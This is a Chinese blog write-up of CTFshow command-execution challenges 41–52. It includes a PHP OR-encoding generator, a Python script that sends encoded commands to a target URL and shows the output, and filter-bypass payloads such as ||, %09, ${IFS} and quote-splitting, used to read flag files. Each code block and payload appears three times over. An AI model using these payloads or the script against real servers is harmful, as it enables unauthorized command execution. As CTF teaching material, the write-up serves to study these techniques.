前言
好,开冲了
![图片[1],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119175535601.png?imageView2/0/format/webp/q/75)
Web41
![图片[2],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119125702544.png?imageView2/0/format/webp/q/75)
![图片[3],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119125918828.png?imageView2/0/format/webp/q/75)
过滤了0-9 a-z ~ + $[]{}-\等 使用的是post请求
这里直接用脚本 脚本的路径也附上
https://blog.csdn.net/miuzzx/article/details/108569080
把php脚本和python脚本放到一起
<?php$myfile = fopen("rce_or.txt", "w");$contents="";for ($i=0; $i < 256; $i++) {for ($j=0; $j <256 ; $j++) {if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}}fwrite($myfile,$contents);fclose($myfile);?><?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile); ?><?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile); ?>
php脚本会生成rcetxt文件
让后运行python脚本
# -*- coding: utf-8 -*-import requestsimport urllibfrom sys import *import osos.system("php rce_or.php") #没有将php写入环境变量需手动运行if(len(argv)!=2):print("="*50)print('USER:python exp.py <url>')print("eg: python exp.py http://ctf.show/")print("="*50)exit(0)url=argv[1]def action(arg):s1=""s2=""for i in arg:f=open("rce_or.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))data={'c':urllib.parse.unquote(param)}r=requests.post(url,data=data)print("\n[*] result:\n"+r.text)# -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #没有将php写入环境变量需手动运行 if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)# -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #没有将php写入环境变量需手动运行 if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)
在shell里运行
用法:
python 你的python脚本名字.py <url>
![图片[4],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119143704216.png?imageView2/0/format/webp/q/75)
function 命令函数 使用system
让后运行我们的命令 tac flag.php
![图片[5],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119143739227.png?imageView2/0/format/webp/q/75)
Web42
![图片[6],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119162617386.png?imageView2/0/format/webp/q/75)
![图片[7],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119162626366.png?imageView2/0/format/webp/q/75)
这个 2>&1是把错误输出绑定到标准输出
>dev/null 把c的命令抛掷黑洞里使其无法执行
双写绕过 is阻断 最后把is抛掷黑洞而分号前面执行
?c=tac flag.php;is?c=tac flag.php;is?c=tac flag.php;is
![图片[8],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119162730108.png?imageView2/0/format/webp/q/75)
Web43
![图片[9],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119163035363.png?imageView2/0/format/webp/q/75)
![图片[10],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119163048147.png?imageView2/0/format/webp/q/75)
过滤了;cat
所以上一关的双写;是无法被识别的
我们使用|| 或者&& 都可以执行 如果使用&&要进行url编码
||是有能够执行就执行 &&是前面执行过在执行后一个
?c=tac flag.php||ls?c=tac flag.php||ls?c=tac flag.php||ls
![图片[11],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119163626582.png?imageView2/0/format/webp/q/75)
Web44
![图片[12],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119164003244.png?imageView2/0/format/webp/q/75)
![图片[13],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119164015970.png?imageView2/0/format/webp/q/75)
不解释,秒了
?c=tac fla*||ls?c=tac fla*||ls?c=tac fla*||ls
![图片[14],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119164043925.png?imageView2/0/format/webp/q/75)
Web45
![图片[15],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119164154133.png?imageView2/0/format/webp/q/75)
![图片[16],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119164246630.png?imageView2/0/format/webp/q/75)
多过滤了空格 %09 %0a都能过 直接秒
?c=tac%09fla*||ls?c=tac%09fla*||ls?c=tac%09fla*||ls
![图片[17],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119164348205.png?imageView2/0/format/webp/q/75)
Web46
![图片[18],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119164439948.png?imageView2/0/format/webp/q/75)
![图片[19],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119164754835.png?imageView2/0/format/webp/q/75)
过滤cat flag 空格 0-9 反斜杠 $ 以及*
空格用%09过滤 虽然是过滤0-9但%09解码之后不属于数字可以使用 flag可以用?绕过
?c=tac%09fla?.php||ls?c=tac%09fla?.php||ls?c=tac%09fla?.php||ls
![图片[20],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119164924606.png?imageView2/0/format/webp/q/75)
Web47
![图片[21],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119165103912.png?imageView2/0/format/webp/q/75)
![图片[22],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119165119590.png?imageView2/0/format/webp/q/75)
![图片[23],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119165209551.png?imageView2/0/format/webp/q/75)
比上一关过滤了很多读取命令 但是没过滤tac
上一关的payload一把梭
?c=tac%09fla?.php||ls?c=tac%09fla?.php||ls?c=tac%09fla?.php||ls
![图片[24],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119165320606.png?imageView2/0/format/webp/q/75)
Web48
![图片[25],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119165347914.png?imageView2/0/format/webp/q/75)
![图片[26],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119165401873.png?imageView2/0/format/webp/q/75)
还是没有过滤tac 上上一关的payload照样打 秒了
?c=tac%09fla?.php||ls?c=tac%09fla?.php||ls?c=tac%09fla?.php||ls
![图片[27],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119165539309.png?imageView2/0/format/webp/q/75)
Web49
![图片[28],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119165658242.png?imageView2/0/format/webp/q/75)
![图片[29],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119165706214.png?imageView2/0/format/webp/q/75)
多了百分号 但是一样%09不会被转义成%上上上一把payload照样打通
?c=tac%09fla?.php||ls?c=tac%09fla?.php||ls?c=tac%09fla?.php||ls
![图片[30],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119165835690.png?imageView2/0/format/webp/q/75)
Web50
![图片[31],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119165951738.png?imageView2/0/format/webp/q/75)
![图片[32],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119170019452.png?imageView2/0/format/webp/q/75)
%09被过滤了 %26是&&符号也被过滤了这下不得不用不带空格的命令了
方法一
用nl来查看 ”双单引号绕过flag ”命令里默认忽略
?c=nl<fla''g.php||ls?c=nl<fla''g.php||ls?c=nl<fla''g.php||ls
![图片[33],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119171030872.png?imageView2/0/format/webp/q/75)
![图片[34],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119171040259.png?imageView2/0/format/webp/q/75)
方法二
tac查看
?c=tac<fl''ag.php||ls?c=tac<fl''ag.php||ls?c=tac<fl''ag.php||ls
![图片[35],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119171158143.png?imageView2/0/format/webp/q/75)
Web51
![图片[36],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119172349290.png?imageView2/0/format/webp/q/75)
![图片[37],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119172541236.png?imageView2/0/format/webp/q/75)
多了tac
上把的nl可以过 当然tac可以用ta”c过
方法一如上一关nl过
?c=nl<fla''g.php||ls?c=nl<fla''g.php||ls?c=nl<fla''g.php||ls
![图片[38],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119172634773.png?imageView2/0/format/webp/q/75)
方法二
tac过
?c=ta''c<fla''g.php||ls?c=ta''c<fla''g.php||ls?c=ta''c<fla''g.php||ls
![图片[39],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119172718406.png?imageView2/0/format/webp/q/75)
Web 52
![图片[40],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119172840721.png?imageView2/0/format/webp/q/75)
![图片[41],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119173825618.png?imageView2/0/format/webp/q/75)
过滤的更多了><也给过滤了但是$IFS没有过滤 $IFS在linux中是分隔符的意思
用cp mv进行看看
?c=cp${IFS}fla?.php${IFS}u.txt||ls?c=cp${IFS}fla?.php${IFS}u.txt||ls?c=cp${IFS}fla?.php${IFS}u.txt||ls
发现
![图片[42],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119174828686.png?imageView2/0/format/webp/q/75)
假的flag
列一下根目录
?c=ls${IFS}/||ls?c=ls${IFS}/||ls?c=ls${IFS}/||ls
![图片[43],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119175114966.png?imageView2/0/format/webp/q/75)
flag应该在根目录中
?c=ta''c${IFS}/fla?||ls?c=ta''c${IFS}/fla?||ls?c=ta''c${IFS}/fla?||ls
拿到flag
![图片[44],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119175246702.png?imageView2/0/format/webp/q/75)
暂无评论内容